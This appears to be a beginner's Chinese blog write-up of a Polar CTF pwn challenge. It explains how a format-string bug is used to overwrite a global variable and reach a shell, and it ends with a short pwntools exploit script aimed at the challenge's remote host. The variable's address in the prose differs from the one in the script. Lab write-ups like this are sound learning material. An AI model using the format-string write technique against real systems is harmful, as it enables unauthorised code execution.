Polar靶场做题 —— test_format

我学习pwn已经有2个月了,这是我第一次发博客,好紧张啊~~~~~~~~~~~ 

我这个社恐的孩子会不好意思的

我朋友推荐我在polarctf团队的靶场上做做题(应该是这个名字哈,好久之前推荐的,记性稍微不太好,如果名字说错了勿怪勿怪)

现在我才做了做,然后我就写了一部分的wp


先在虚拟机上查看一下

32位的一个程序,开了NX和canary,然后ida打开看一下

在input函数里,有输入输出,一看就是格式化字符串,然后还有一个shell函数,那具体的思路就应该是通过格式化字符串把n的值改为4,那么我们就需要把n的地址拿到,还要知道read输入的位置是第几个参数。

好在啊,这个n不在栈上,双击一下n,去到n的位置

得到n的地址是    0x0804030

然后就需要在虚拟机里gdb调试一下了,在read函数的位置下一个断点,然后输入aaaaaaaa

然后再输入   x/16wx $esp   查看一下栈里的内容

0x61是a的16进制ascll码,所以现在我们看到了我们输入的8个a,那么我们查一下a的位置,要从0开始查,图里已经标好了,aaaa在第6个位置,所以我们输入的payload一开始就应该是在第六个参数的位置,那么我们把n的地址放在第6个参数的位置,然后用  %6$n  去改写n地址的值 为4就好了

所以 payload : p32(n_addr) + b'%6$n'

在这里解释下(小白的个人理解)

 p32(n_addr):是为了把地址写入第第6个参数的位置

%n:举个例子,%d 知道吧以整形输出,%f 知道吧浮点型输出,%n也一样,只不过%n不会输出东西,但是会把之前输出过的字符的个数赋给指向地址,也就是说,会把这一块地址存放的值改为之前输出字符的个数。

6$:这个就是第几个参数,如果不加6$,就是把第一个参数内个地址的值改变,但是加上之后,就是改变的第6个参数

然后整体就是,因为p32(n_addr)是4个字节,所以就是4个字符,然后%n赋值的就是4,刚好就是对应题目里的判断,让n是4

最后发送payload,这个判断就是真的,然后就可以执行shell

脚本:

from pwn import *

#io = process("./pwn1")
io = remote("123.60.135.228", 2115)
n_addr = 0x0804A030
payload = p32(n_addr) + b'%6$n'

io.recv()
io.send(payload)

io.interactive()

终于写完了,要是有大佬看见哪里写错了,欢迎指正。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值